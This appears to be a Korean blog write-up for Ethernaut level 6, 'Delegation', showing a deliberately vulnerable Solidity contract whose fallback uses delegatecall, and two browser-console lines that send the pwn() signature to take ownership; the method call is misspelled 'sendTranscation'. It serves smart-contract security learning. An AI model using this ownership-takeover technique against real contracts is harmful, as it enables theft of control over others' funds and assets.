본문 바로가기

블록체인/Ethernaut

[Ethernaut] 6. Delegation

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

 

목표

컨트랙트의 소유권 획득

 

방법

웹페이지의 개발자 도구 콘솔에서

let pwnSignature = web3.utils.sha3("pwn()")

contract.sendTranscation({data : pwnSignature})

 

delegatecall에 대해 학습 후 진행하는 것을 추천 링크

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 8. Vault  (0) 2022.06.01
[Ethernaut] 7. Force  (0) 2022.05.31
[Ethernaut] 5. Token  (0) 2022.05.28
[Ethernaut] 4. Telephone  (0) 2022.05.27
[Ethernaut] 3. Coin Flip  (0) 2022.05.25